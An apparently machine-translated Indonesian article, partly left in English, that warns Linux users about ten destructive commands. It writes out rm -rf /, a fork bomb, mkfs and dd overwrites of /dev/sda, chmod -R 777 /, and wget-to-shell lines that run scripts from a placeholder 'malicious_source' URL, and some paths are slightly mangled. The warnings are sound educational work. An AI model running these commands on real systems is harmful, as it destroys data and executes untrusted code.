GNU/Linux >> Belajar Linux >  >> Linux

10 Perintah Mematikan yang Tidak Boleh Anda Jalankan di Linux

Sistem operasi Linux memberi penggunanya kebebasan lebih dibandingkan dengan Windows atau sistem operasi lainnya. Sementara untuk beberapa pengembang berpengalaman, sistem operasi Linux memberikan kebebasan untuk melakukan operasi, itu juga dapat merusak kebebasan yang diberikan kepada pengembang tersebut. Sementara setiap teknologi memiliki pro dan kontra, begitu juga Linux. Sangat penting bahwa pengguna harus memiliki pemahaman yang cukup tentang perintah yang aman dan mematikan sebelum mengeksekusi. Di sini, kita akan membahas perintah mematikan yang tidak boleh Anda jalankan tanpa pemahaman penuh tentang artinya.

1. Penghapusan Rekursif

Salah satu cara tercepat untuk menghapus folder dan isinya adalah perintah rm -rf. Ini telah mendapatkan popularitas selama bertahun-tahun karena telah mengatasi kesalahan yang dihadapi di Windows ketika file atau folder dihapus. Perintah ini menghapus semua yang ada di file, folder, atau hard disk tempat ia dijalankan. Mari kita uraikan perintah tersebut dan pahami apa artinya:

rm – Hapus semua file di lokasi yang diberikan

-rf – Perintah ini dibagi lagi menjadi dua bagian:r dan f. r berarti menghapus semua file secara rekursif sedangkan f berarti force yang berarti menghapus semua file tanpa meminta pengguna.

Ada sejumlah variasi dari perintah ini yang tersedia melalui internet. Penting untuk dipahami bahwa seseorang harus mengetahui apa yang dilakukan suatu perintah setelah dijalankan pada folder tertentu atau data dapat hilang. Data yang hilang dari perintah ini tidak dapat dipulihkan dengan cara apa pun.

  • rm – Perintah ini digunakan untuk menghapus file semua file di jalur yang akan Anda berikan
  • rm -r – Perintah ini digunakan untuk menghapus file secara rekursif dari semua direktori dan subdirektori di Sistem Operasi Linux.
  • rm -f – Perintah ini digunakan untuk menghapus file di jalur yang disediakan tanpa meminta pengguna. Ini juga termasuk menghapus “File Hanya Baca”.
  • rm -rf / – Ini adalah salah satu perintah yang paling berbahaya karena / mengacu pada direktori root dari sistem operasi. Setelah perintah ini dijalankan, ia akan menghapus semua konten direktori root secara paksa dan rekursif. Dengan demikian, semua direktori dan subdirektori Anda akan dihapus dan datanya akan hilang.
  • rm -rf * – Perintah ini secara paksa menghapus semua data di direktori kerja
  • rm -rf. –  Perintah ini secara paksa menghapus file di direktori kerja saat ini serta sub-direktori. Ini juga menghapus semua file konfigurasi di direktori.

2. Bom Garpu

Karena Linux beroperasi di Bash, penting untuk memahami apa yang akan dilakukan perintah pada sistem Anda sebelum Anda menjalankannya. Ini adalah fungsi bash sederhana yang sekali dieksekusi membuat salinan dirinya sendiri yang pada gilirannya membuat satu set salinan dirinya sendiri. Ini menghabiskan waktu dan memori CPU. Dengan demikian, ini berjalan secara rekursif hingga sistem membeku.

:(){:|:&};:

3. Timpa Hard Drive

Jika Anda menjalankan perintah berikut secara tidak sengaja atau tidak sengaja pada hard drive Anda, maka pemulihan sangat tidak mungkin.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Hard Drive Ledakan

Seperti pepatah "Ada lebih dari satu cara untuk menguliti kucing", ada lebih dari satu cara untuk menghancurkan hard disk Anda. Di setiap sistem Linux, dev/null adalah lokasi khusus yang dilambangkan sebagai lubang hitam. Apa pun yang dipindahkan ke lubang hitam ini akan hancur. Jika Anda tidak sengaja memindahkan data ke folder ini, data Anda tidak akan dipulihkan.

mv /home/root/*  dev/null

Perintah di atas memindahkan semua data di folder home/root ke lubang hitam sehingga mengakibatkan hilangnya data. Mari kita uraikan perintah untuk memahami apa yang dilakukan setiap bagian.

mv - This command is used for moving a folder to another location

/home/root/* – Ini adalah lokasi folder yang akan dipindahkan

dev/null – Lokasi khusus yang dilambangkan sebagai lubang hitam

Jadi, Anda harus berhati-hati saat menjalankan perintah move. Pastikan lokasi tempat Anda memindahkan folder ada di sistem.

5. Unduh Skrip Berbahaya

Kita semua mengetahui manfaat dari perintah "wget" di Linux tetapi yang tidak kita sadari adalah bahwa perintah ini dapat mengunduh skrip dan virus berbahaya serta perangkat lunak yang bermanfaat. Jika Anda kebetulan menjalankan salah satu dari perintah berikut, Anda akan mengerti apa maksud dari semua ini.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

Perintah yang disebutkan di atas mengunduh konten dari URL yang disediakan dan menjalankan skrip yang diunduh.

6. Memformat Hard Drive

Ada perintah lain untuk menghapus hard drive Anda dan membuatnya baru. Ini hanya boleh digunakan jika Anda memiliki cadangan data di cloud atau perangkat eksternal.

mkfs.ext3 /dev/sda

Menjalankan perintah ini identik dengan menjalankan format penuh pada drive C di windows di mana semua file akan dihapus dari drive dan siap untuk instalasi baru. Agar Anda lebih mudah memahaminya. Mari kita uraikan perintah ini.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Bersama-sama, ketika perintah ini dijalankan, ia memformat partisi yang ditentukan pada hard drive dan memformatnya kembali sesuai dengan sistem file yang ditentukan yaitu ext3 dalam perintah yang disebutkan di atas. Oleh karena itu, sangat penting untuk memahami apa yang dilakukan perintah sebelum berjalan di sistem Anda dan kehilangan semua data.

7. Hapus Isi File

Perintah untuk membilas konten file adalah perintah yang mudah dan dapat dijalankan dalam keadaan apa pun.

>file

Jika Anda pernah menjalankan perintah apa pun dengan tipe yang disebutkan di atas, Anda akan melihat bahwa konten file yang ditentukan pasti telah di-flush. ">" bertanggung jawab untuk menghapus isi file, oleh karena itu, periksa kembali perintah yang Anda jalankan.

8. Edit Perintah Sebelumnya

Perintah ini adalah berkat dan kutukan. Meskipun membuatnya lebih mudah untuk tidak mengetikkan semua perintah sebelumnya lagi dan menjalankannya, itu juga dapat memasukkan konten berbahaya ke dalam perintah yang Anda jalankan sebelumnya. Oleh karena itu, perlu dipastikan apakah Anda cocok menggunakan perintah ini.

^foo^bar

9. Tulis Sampah Acak ke Hard Drive

Jika Anda pernah menemukan perintah yang disebutkan di bawah ini, maka selamat Anda mungkin juga melihat sampah acak yang ditulis ke hard drive Anda jika Anda cukup gila untuk benar-benar menjalankan perintah ini. Efek samping dari perintah ini adalah sistem Anda tidak akan dipulihkan.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

Perintah ini tidak secara fisik memengaruhi sistem Anda karena semua perintah lain melakukan seperti yang dibahas di setiap bagian tetapi ini memberikan pelanggaran keamanan pada sistem. Dengan menjalankan perintah ini, Anda menyediakan semua pengguna sistem untuk dapat membaca, menulis, dan mengeksekusi data pada sistem file Anda. Jadi, gunakan perintah ini dengan bijak.

Semoga informasi terperinci tentang perintah mematikan ini akan mencegah Anda kehilangan data dari sistem Anda. Beri tahu kami di bagian komentar di bawah jika ini membantu Anda atau tidak.


Linux
  1. 5 perintah Linux yang tidak pernah saya gunakan

  2. A sampai Z Perintah Linux

  3. Cara merusak sistem Anda:Perintah Linux yang Berbahaya

  1. 10 perintah dasar Linux yang perlu Anda ketahui

  2. 7 perintah jaringan Linux yang harus diketahui oleh setiap sysadmin

  3. 3 perintah Linux untuk mematikan sistem dan Anda akan dapat melakukannya dengan mudah

  1. 10 perintah yang harus diketahui setiap pengguna Linux

  2. Tiga Perintah Linux yang Seharusnya Tidak Anda Gunakan

  3. 3 Perintah Linux yang Berguna untuk Administrator Sistem